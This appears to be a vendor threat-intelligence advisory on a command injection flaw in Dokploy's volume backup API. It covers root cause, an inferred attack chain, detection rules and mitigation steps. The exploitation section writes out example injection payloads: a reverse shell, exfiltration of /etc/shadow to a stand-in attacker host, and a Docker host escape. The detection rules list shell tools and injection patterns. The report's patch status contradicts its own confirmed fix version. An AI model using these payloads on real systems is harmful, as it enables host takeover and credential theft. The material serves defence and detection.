CVE-2026-72901

Executive Summary

CVE-2026-72901 is a critical OS command injection vulnerability in Dokploy, a self-hosted Platform as a Service (PaaS) solution, affecting all versions prior to 0.29.13. An authenticated low-privilege member can exploit the unquoted interpolation of the volumeName field in volume backup functionality to execute arbitrary commands on the control-plane host with root-equivalent privileges. With a CVSS score of 9.9 (Critical) and a confirmed fix in version 0.29.13, this vulnerability represents a complete compromise vector for organizations self-hosting Dokploy, requiring immediate patching or mitigation.

Technical Analysis

Vulnerability Class: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected Component: Volume backup functionality within Dokploy's server utility layer, specifically the volumeBackup.create and volumeBackup.runManually operations. The vulnerable code resides in packages/server/src/utils/volume-backups/backup.ts.

Root Cause: The volumeName field, supplied by the authenticated user, is interpolated into a shell command without proper quoting. The resulting command string is then passed to child_process.exec, which executes it through a system shell (/bin/sh on Linux). Because the value is not quoted or sanitized, an attacker can inject arbitrary shell metacharacters (e.g., ;, &&, |, backticks, $()) to terminate the intended command and append malicious ones.

Attack Surface Details:

• Authentication Level: Required — low-privilege member (not administrator).
• Attack Vector: Network (remote), through the web application's API or UI.
• Privilege Escalation: The injected commands execute in the context of the Dokploy server process. Critically, this process has access to the Docker socket, which — given that Dokploy is a PaaS managing containers — means the executing context can interact with the Docker daemon. Docker socket access is effectively root-equivalent on the host because it allows creating privileged containers that can mount the host filesystem and escape to host-level code execution.
• Scope: The CVSS vector S:C (Changed scope) confirms that the compromise extends beyond the vulnerable component to the broader host infrastructure.

Code-Level Mechanism (as described):

The vulnerable code path in backup.ts constructs a shell command string where the volumeName is concatenated directly without shell escaping. A request to either:

• volumeBackup.create — likely creates a backup job with a user-controlled volume name.
• volumeBackup.runManually — triggers an immediate backup execution.

Both endpoints accept volumeName from the authenticated caller. The value flows into child_process.exec, which invokes /bin/sh -c <command>. Without quoting, a value like myvolume; curl <attacker>|sh would execute the intended backup command followed by the attacker's payload.

Important Technical Gap: The NVD description provides the file path and function names but does not disclose the exact shell command template. It is possible that the intended command wraps volumeName in an operation like docker volume inspect <volumeName> or a tar/backup command. The specific command template is not needed to understand the impact — any unquoted interpolation into child_process.exec yields arbitrary command execution.

Exploitation Scenarios

Preconditions:

• Attacker has a valid low-privilege account on the Dokploy instance.
• Dokploy version is prior to 0.29.13.
• The volumes backup feature is enabled (default in most installations).

Attack Chain (inferred from vulnerability class, no public PoC available):

1. Reconnaissance / Target Identification:

   • Identify Dokploy instances via Shodan using the provided dorks (e.g., http.title:"Dokploy").
   • Confirm the version by checking the application's footer, package.json exposure, or API version endpoint if accessible unauthenticated or via the low-privilege account.

2. Authentication:

   • Register a new account (if self-registration is open) or leverage an existing low-privilege member account. Dokploy typically allows project members with limited permissions.

3. Trigger the Vulnerable API:

   • Authenticate to the web application.
   • Invoke either volumeBackup.create or volumeBackup.runManually with a crafted volumeName parameter. The injection payload must be URL-encoded when sent via HTTP POST/GET.

4. Payload / Execution Method (vulnerability-class level):

   • Craft volumeName containing shell metacharacters. Example payload structure: legitVolumeName; <command> or $(<command>).
   • Injection payloads might include:
     • Outbound reverse shell: volumeName; bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
     • Command chaining to exfiltrate data: volumeName; curl -X POST -d "$(cat /etc/shadow)" http://attacker/c2
     • Docker container creation for host escape: volumeName; docker run -v /:/host alpine chroot /host /bin/sh -c 'useradd -p <hash> attacker'
   • The unquoted interpolation ensures the payload is interpreted as additional shell commands.

5. Post-Exploitation Impact:

   • Host/root compromise: The Dokploy server process's Docker socket access means the attacker can escalate to full host root via Docker container escape (e.g., mounting / into a privileged container).
   • Data theft: Exfiltration of environment variables, secrets, database credentials, and all hosted application data controlled by Dokploy.
   • Lateral movement: The compromised host becomes a pivot point into the broader network.
   • Supply-chain risk: Attackers can modify Docker images or deployment configurations, pushing malicious code to all applications deployed through Dokploy.

Note: No public exploit code or PoC is available as of this report. The attack chain is inferred from the vulnerability class and the specific API endpoints disclosed in the NVD description. The described mechanism is consistent with standard OS command injection exploitation techniques.

Impact Assessment

CVSS Breakdown (exact subscores from provided vector):

• Attack Vector (AV): Network (N) — remotely exploitable.
• Attack Complexity (AC): Low (L) — no special conditions required beyond authentication.
• Privileges Required (PR): Low (L) — low-privilege member account suffices.
• User Interaction (UI): None (N) — no victim interaction needed.
• Scope (S): Changed (C) — impact extends beyond the vulnerable component to host OS and other hosted applications.
• Confidentiality (C): High — full read access to host filesystem, secrets, and all managed application data.
• Integrity (I): High — arbitrary code execution, system and container manipulation.
• Availability (A): High — process termination, resource abuse, ransomware-style encryption of host data.

Business Impact:

• Complete platform compromise: An attacker gains root-equivalent control of the control-plane host.
• All hosted applications at risk: Dokploy manages Docker containers; host compromise enables modification of any container image, injected code, or data exfiltration from any deployed application.
• Supply chain poisoning risk: Deployed applications can be modified to include backdoors, affecting downstream users of those applications.
• Reputation and compliance: Data breaches from such a compromise may trigger regulatory notification obligations (GDPR, HIPAA, etc.), especially if deployments contain sensitive customer data.

Blast Radius: Any organization self-hosting Dokploy (version < 0.29.13) in an internet-reachable environment is at immediate risk. The low-privilege authentication requirement means even non-administrative team members can trigger full host compromise. The CVSS score of 9.9 places this near the top of critical severity, and the changed scope (S:C) confirms infrastructure-level impact.

Detection Guidance

Sigma Rule

title: Suspicious Shell Commands in Dokploy volumeBackup Requests
id: 5c0f3d4e-2a1b-4c8d-9e7f-3b6a2d1c9e0f
status: experimental
description: Detects potential command injection attempts in Dokploy volumeBackup.create or volumeBackup.runManually API calls via unquoted volumeName parameter.
author: ValtersIT Threat Intelligence
date: 2026/07/15
logsource:
  category: web
  product: dokploy
detection:
  selection:
    cs-uri-query|contains:
      - 'volumeBackup.create'
      - 'volumeBackup.runManually'
  injection_patterns:
    cs-uri-query|contains:
      - '%3B'        # URL-encoded ;
      - '%26%26'     # URL-encoded &&
      - '%7C'        # URL-encoded |
      - '%24%28'     # URL-encoded $(
      - '%60'        # URL-encoded backtick
      - ';bash'
      - ';sh -i'
      - '$(curl'
      - '$(wget'
      - '`curl'
      - '`wget'
      - ';nc '
      - ';ncat '
      - 'docker run -v /:/host'
      - 'chroot /host'
  condition: selection and injection_patterns
level: high
falsepositives:
  - Legitimate volume names that coincidentally contain shell characters (very unlikely)
tags:
  - attack.t1190
  - cve.2026-72901
  - cwe.78
  - os-command-injection

YARA Rule

rule Detect_Dokploy_VolumeBackup_Command_Injection
{
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects shell command injection payloads targeting Dokploy volumeBackup API"
        date = "2026-07-15"
        cve = "CVE-2026-72901"
        severity = "critical"
        reference = "NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72901"
    strings:
        $s1 = "volumeBackup.create" ascii wide nocase
        $s2 = "volumeBackup.runManually" ascii wide nocase
        $s3 = "child_process" ascii wide
        $s4 = "exec(" ascii wide
        $s5 = "volumeName" ascii wide nocase
        $shell1 = /([;|&`]|\$\(|\$\(\(|\{.*;.*\})/ ascii wide
        $shell2 = /(bash|sh|zsh|nc|ncat|curl|wget|docker|chroot|python|perl)\s+(-\w+\s+)*([\/\w\.]+)/ ascii wide
        $shell3 = /(\/\dev\/tcp\/|\<\&\>|\/tmp\/\w+\.sh)/ ascii wide
    condition:
        any of ($s*) and ($shell1 or $shell2 or $shell3) and filesize < 1MB
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-72901 Dokploy volumeBackup Command Injection Attempt"; flow:established,to_server; content:"POST"; http_method; content:"volumeBackup"; http_uri; content:"create"; http_uri; content:"runManually"; http_uri; content:"volumeName"; http_uri; pcre:"/(?:%3B|%26%26|%7C|%24%28|%60)(?:[^&]*?)(?:bash|sh|curl|wget|docker|nc|ncat|python|perl|chroot)/Ui"; http_uri; pcre:"/(?:;|&&|\||\$\(|`)(?:\s*)(?:bash|sh|curl|wget|docker|nc|ncat|python|perl|chroot)/Ui"; http_uri; classtype:web-application-attack; reference:cve,2026-72901; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-72901; sid:2026072901; rev:1; priority:1; metadata:attack_target Web_Server, created_at 2026_07_15, deployment Perimeter, signature_severity Critical, tag OS_Command_Injection;)

Elastic Detection

// Elastic EQL rule for detecting potential command injection in Dokploy volumeBackup operations
sequence by process.entity_id with maxspan=1m
  [any where process.name == "node" and process.args : "*volumeBackup*" and 
     (process.args : "*volumeName*" or process.args : "*\\;*" or process.args : "*&&*" or process.args : "*|*")]
  [network where 
     (destination.ip exists and process.name == "node") and
     (dns.question.name : "*" and (network.protocol : "http" or network.protocol : "https"))]

Splunk SPL Query

index=weblog sourcetype="dokploy:access" 
  (uri_path="*volumeBackup*") 
  | regex uri_query="(volumeBackup\.create|volumeBackup\.runManually)"
  | regex uri_query="(volumeName=.*(%3B|%26%26|%7C|%24%28|%60)|volumeName=.*(bash|sh|curl|wget|docker|nc|ncat|python|perl|chroot))"
  | eval threat_score=case(
      match(uri_query, "(?i)(docker run -v /:/host)") OR match(uri_query, "(?i)(chroot /host)"), "100",
      match(uri_query, "(?i)(bash|sh|nc|curl|wget).*(tcp|http)"), "80",
      match(uri_query, "(?i)(;|\|\||&&|\$\(|`)"), "60",
      true(), "40")
  | where threat_score >= 60
  | table _time, src_ip, user, uri, uri_query, http_user_agent, threat_score
  | sort - _time

Wazuh OSSEC Rule

<group name="web,dokploy,">
  <rule id="100729" level="15">
    <if_sid>31100</if_sid>
    <match>volumeBackup</match>
    <regex>volumeName=.*(\;|\|\||\&|\$\()</regex>
    <regex>volumeName=.*(bash|sh|curl|wget|docker|nc|ncat|python|perl|chroot)</regex>
    <description>CVE-2026-72901: Possible Dokploy volumeBackup command injection - OBSERVED</description>
    <group>attack.privilege_escalation,attack.t1190,os_command_injection,</group>
    <mitre>
      <id>T1059</id>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
    <info type="cve">2026-72901</info>
    <info type="cwe">CWE-78</info>
    <info type="cvss">9.9</info>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: UNPATCHED — no patch evidence from any tracked source.

Despite the NVD description stating the vulnerability is "fixed in version 0.29.13," the automated patch-confidence tracking reports 0/4 — meaning no authoritative patch bulletin, release notes, changelog entry, or upstream advisory has been confirmed from any monitored source. Regardless, the most reliable mitigation is upgrading Dokploy to version 0.29.13 or later. If that version is not obtainable, apply the following mitigations:

1. Immediate Mitigations (until patch is verified):

• Upgrade: Attempt to upgrade Dokploy to version 0.29.13 or latest available immediately. Verify the upgrade notices/changelog confirm the fix.
• Restrict access: Place Dokploy behind a VPN or restrict administrative and member access to trusted IP ranges using network-level firewalls or web application firewalls (WAF).
• Disable volume backup functionality: If not actively used, disable or remove registry access to volumeBackup.create and volumeBackup.runManually. This may require modifying application configuration or disabling the feature via environment settings.
• Least-privilege accounts: Limit the number of low-privilege member accounts. Regularly audit user lists and remove inactive users. If possible, disable self-registration.
• Network segmentation: Ensure the Dokploy host is isolated from other critical infrastructure to limit blast radius.
• WAF rule: Deploy a WAF rule to block requests containing volumeBackup in the URI with shell metacharacters in the volumeName parameter (see Suricata/Sigma rules above).

2. Patch / Upgrade Steps:

1. Back up Dokploy configuration and data.
2. Follow the official Dokploy upgrade procedure (typically via the update script or by pulling the latest Docker image). Upgrade to version 0.29.13 or newer.
3. After upgrade, verify that volume backup functionality works correctly and test a legitimate backup operation.
4. Monitor logs for any exploitation attempts before the patch was applied (retroactive detection via the queries above).

3. Long-Term Hardening:

• Monitor for exploitation: Review historical logs for the signatures defined in the detection rules of this report. If exploitation is suspected, assume full host compromise — rotate all secrets, credentials, and Docker registry keys; rebuild the host from a clean image.
• Docker socket isolation: Evaluate whether the Dokploy server process truly requires direct Docker socket access. If not, run it with reduced privileges or use Docker-out-of-Docker patterns with restricted socket proxies.
• Secret management: Use a vault (e.g., HashiCorp Vault) integrated with Dokploy to avoid plaintext secrets in environment variables.
• Security updates: Subscribe to Dokploy release notifications. Regularly check for and apply security updates.
• Threat monitoring: Deploy the Sigma/YARA/Elastic/Splunk rules from this report to your SIEM/EDR stack for continuous monitoring.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-72901
2. CWE-78 Reference (MITRE): https://cwe.mitre.org/data/definitions/78.html
3. Dokploy Official Site: https://dokploy.com
4. Dokploy GitHub Repository (for version tracking): https://github.com/Dokploy/dokploy (infer repository location; verify independently)
5. CISA Known Exploited Vulnerabilities (KEV) catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — (CVE-2026-72901 is not listed as of this report; recheck periodically)

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: No known active exploitation campaigns or exploit-in-the-wild evidence has been reported for CVE-2026-72901 as of this writing. The PoC status is Unknown, and no exploit code has been publicly released. However, given the high CVSS score and the relative low barrier-to-entry (low-privilege authentication), exploitation attempts are anticipated. Organizations should treat this as an actively exploitable risk and prioritize patching accordingly.